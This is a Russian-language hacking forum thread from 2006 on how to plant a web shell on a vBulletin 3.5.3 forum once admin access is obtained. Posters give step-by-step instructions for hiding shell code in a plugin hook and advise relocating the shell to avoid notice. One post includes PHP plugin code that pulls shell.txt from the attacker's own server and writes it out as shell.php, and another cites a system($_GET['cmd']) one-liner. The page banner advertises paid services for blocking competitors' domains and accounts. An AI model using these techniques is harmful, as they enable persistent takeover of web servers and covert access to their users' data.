Шелл vBulletin 3.5.3

УСТРАНЕНИЕ КОНКУРЕНТОВ. БЛОКИРОВКА ДОМЕНОВ, БЛОКИРОВКА ИНСТАГРАМ/ТЕЛЕГРАМ И ДРУГОЕ. ПРОВЕРЕННЫЙ СЕЛЛЕР.

НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ

Скрыть

		ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости > Уязвимости CMS / форумов
Шелл vBulletin 3.5.3

Страница 1 из 2

Опции темы

Поиск в этой теме

Опции просмотра

Шелл vBulletin 3.5.3

17.07.2006, 14:37

bandera

Познающий

Регистрация: 02.06.2006

Сообщений: 66

С нами: 10495365

Репутация: 69

Шелл vBulletin 3.5.3

В поиске был, так ничего и не нашёл. -)
Имею доступ к админке, можно ли всётаки как нибудь залить шелл?

𝕏 Twitter Reddit Telegram Копировать ссылку

17.07.2006, 14:42

Enk0r

Познающий

Регистрация: 23.06.2006

Сообщений: 85

С нами: 10464866

Репутация: 169

Наверное никак...

17.07.2006, 18:51

Geniy

Новичок

Регистрация: 19.04.2006

Сообщений: 16

С нами: 10558612

Репутация: 5

Хватит дезинформировать народ.. Залить можно через модули.. Видео скора сниму...

17.07.2006, 19:31

Azazel

Заведующий всем

Регистрация: 17.04.2005

Сообщений: 1,062

С нами: 11087066

Репутация: 561

Не знаю можно ли это на 3.5.3. Но попробуй пройтись по одной из ссылок внизу топика. ShAnKaR описывал.

__________________
Full DNS report

17.07.2006, 20:42

bandera

Познающий

Регистрация: 02.06.2006

Сообщений: 66

С нами: 10495365

Репутация: 69

Цитата:

Сообщение от Geniy

Хватит дезинформировать народ.. Залить можно через модули.. Видео скора сниму...

Можно объяснить по подробней, а то пока видео дождёшься...

17.07.2006, 21:00

~~Tem~~

Banned

Регистрация: 05.10.2005

Сообщений: 965

С нами: 10840706

Репутация: 547

А ты через смайлы пробовал , у меня тожа один раз такая проблемка вышла , я даже сам не поверл когда залил шелл через смайлики.

17.07.2006, 21:17

WEB'er

Новичок

Регистрация: 26.06.2006

Сообщений: 21

С нами: 10460154

Репутация: 5

А нужно именно залить? Там же вроде в шалоны можно Php-код вставлять .... Или нет?=) Заинклудь шелл со своего хоста а там разбирёшься=)

17.07.2006, 21:21

Geniy

Новичок

Регистрация: 19.04.2006

Сообщений: 16

С нами: 10558612

Репутация: 5

Ладно - обойдёмся без видео:
Берешь шелл не больше 60кб,
Адмминка-Система модулей- добавить новый модуль.
Продукт Vbulletin
Месторасположение: Vbulletin: Справка - faq_complete
В тело вставляешь код шелла предварительно убрав в начале <? и в конце ?>
Затем прост о заходишь в справку из форума и любуешся своим шеллом.

Советую сразу перезалить шелл в другое место - а этот удалить - мало-ли кому взбредёт справку глянуть

17.07.2006, 23:02

WEB'er

Новичок

Регистрация: 26.06.2006

Сообщений: 21

С нами: 10460154

Репутация: 5

Geniy
на 3.5.4 у меня не пашет=(

2 ALL
вот мой немного дебильный способ=)

Заливаем куда-нить с себе на хост шелл под именем - "shell.txt"

Создаём новый модуль. Местоположение хака - "Calendar_start"
Даём ему какое-нить неприметное имя=)
И пишем код:

Код:

$file = fopen("http://ВАШ_СЕРВЕР.ru/shell.txt", "r");
$fp = fopen('shell.php', 'a');
while ($line = fgets($file, 4096) )
{  
$line.="\n";  
fwrite($fp, ''.$line.'');
}
fclose($fp);
fclose($file);

теперь идём по ссылке - _http://servak.com/forum/shell.php - вот он наш шелл.

Проверял всё это дело на локалхосте - работает. Работоспособность будет зависеть от настроек апача, или что там у вас стоит=). Конечно способ идиотский, но у меня на локалхосте больше ничего не срабатывало=( : ни инклудинг, ни "system($id);", ни через смайлы ... ТОлько вот этот способ=)

#10

17.07.2006, 23:14

Brahma

Познающий

Регистрация: 14.07.2006

Сообщений: 85

С нами: 10434081

Репутация: 31

Видимо обычный system($_GET["cmd"]); ужэ не рулёз )

Страница 1 из 2

« Предыдущая тема | Следующая тема »

Похожие темы
Тема	Автор	Раздел	Ответов	Последнее сообщение
Как убрать копирайты в титле (powered by....) в vBulletin 3.5.3?	blaga	Уязвимости CMS / форумов	20	30.05.2009 17:18
Вопрос по авам в vBulletin 3.5.3	blaga	Уязвимости CMS / форумов	7	25.05.2006 13:23
вопрос по vBulletin 3.5.3	bastard	Уязвимости CMS / форумов	3	29.04.2006 11:11

Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)

Быстрый переход